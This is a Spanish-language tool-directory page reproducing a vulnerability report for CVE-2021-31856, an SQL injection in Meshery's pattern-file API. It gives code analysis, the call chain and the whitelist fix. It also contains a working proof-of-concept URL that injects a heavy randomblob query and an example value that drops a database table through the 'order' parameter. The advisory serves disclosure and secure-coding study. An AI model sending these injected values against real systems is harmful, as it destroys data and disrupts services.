Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-31856 — Informe detallado de CVE-2021-31856 con PoC y análisis de código para una vulnerabilidad de inyección SQL en la API de archivos de patrones de Meshery, que permite la extracción de datos sin autenticación. | Kitploit
Herramientas/GitHubGitHub/ssst0n3/cve-2021-31856
Análisis de VulnerabilidadesAnálisis de CódigoExplotación de Aplicaciones WebPruebas de PenetraciónSeguridad de Bases de Datos
GitHubssst0n3/cve-2021-31856

CVE-2021-31856

Informe detallado de CVE-2021-31856 con PoC y análisis de código para una vulnerabilidad de inyección SQL en la API de archivos de patrones de Meshery, que permite la extracción de datos sin autenticación.

Ver Repositorio
3hace 5 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

[Informe de Vulnerabilidad] CVE-2021-31856: una inyección SQL en Meshery

itemdetailsnote
proyectohttps://github.com/layer5io/meshery
fecha anunciada2021-04-28
ID de CVECVE-2021-31856https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31856
ID de EDB\
Versión Vulnerablev0.5.2\
Versión Parcheadav0.5.3https://github.com/layer5io/meshery/pull/2745
CVSS7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Autorhttps://github.com/ssst0n3

1. Descripción

La función GetMesheryPatterns() en meshery/models/meshery_pattern_persister.go tiene una vulnerabilidad de inyección SQL a través del parámetro order /api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0.

2. PoC

root@kitploit:~
http://<IP>:9081/api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0

ver el video

Tu navegador no soporta video HTML5. Aquí hay un enlace al video en su lugar.

3. Análisis de Código

El parámetro order en la función GetMesheryPatterns es una instancia de cadena. Será añadido directamente a la sentencia de consulta al usar gorm, y la sentencia de consulta SQL es ejecutada por Find().

https://github.com/layer5io/meshery/blob/v0.5.2/models/meshery_pattern_persister.go#L35

root@kitploit:~
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
	if order == "" {
		order = "updated_at desc"
	}
        ...
	query := mpp.DB.Order(order)
        ...
	Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
        ...
}

Si el parámetro order proviene de la entrada del usuario sin ningún filtrado, existe una vulnerabilidad de inyección SQL.

Rastreando el proceso de llamada, podemos encontrar que el parámetro "order" proviene directamente de la consulta.

https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L140

root@kitploit:~
func (h *Handler) GetMesheryPatternsHandler(
	rw http.ResponseWriter,
	r *http.Request,
	prefObj *models.Preference,
	user *models.User,
	provider models.Provider,
) {
	q := r.URL.Query()

	resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
	if err != nil {
		http.Error(rw, fmt.Sprintf("failed to fetch the patterns: %s", err), http.StatusInternalServerError)
		return
	}

	rw.Header().Set("Content-Type", "application/json")
	fmt.Fprint(rw, string(resp))
}

Si depuramos, podemos encontrar que la sentencia de consulta es:

root@kitploit:~
SELECT * FROM `meshery_patterns` ORDER BY <ORDER>

si dejamos order=id;drop table meshery_patterns, la sentencia se convertirá en

root@kitploit:~
SELECT * FROM `meshery_patterns` ORDER BY id;drop table meshery_patterns

y la tabla será eliminada.


La cadena de llamada completa es:

https://github.com/layer5io/meshery/blob/v0.5.2/router/server.go#L127

root@kitploit:~
	gMux.Handle("/api/experimental/patternfile", h.ProviderMiddleware(h.AuthMiddleware(h.SessionInjectorMiddleware(h.PatternFileRequestHandler)))).
		Methods("POST", "GET")

https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L93

root@kitploit:~
func (h *Handler) PatternFileRequestHandler(
...
		h.GetMesheryPatternsHandler(rw, r, prefObj, user, provider)
}

https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L149

root@kitploit:~
func (h *Handler) GetMesheryPatternsHandler(
...
	resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
..

https://github.com/layer5io/meshery/blob/v0.5.2/models/default_local_provider.go#L439

root@kitploit:~
func (l *DefaultLocalProvider) GetMesheryPatterns(req *http.Request, page, pageSize, search, order string) ([]byte, error) {
...
	return l.MesheryPatternPersister.GetMesheryPatterns(search, order, pg, pgs)
}

https://github.com/layer5io/meshery/blob/v0.5.2/models/meshery_pattern_persister.go#L35-L44

root@kitploit:~
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
	if order == "" {
		order = "updated_at desc"
	}
        ...
	query := mpp.DB.Order(order)
        ...
	Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
        ...
}

4. Solución

Establecer una lista blanca para el parámetro order en lugar de usar parámetros de la entrada del usuario sin ningún filtrado.

https://github.com/layer5io/meshery/pull/2745

Puede obtener algunas referencias del documento de gorm: https://gorm.io/docs/security.html

Descargar herramienta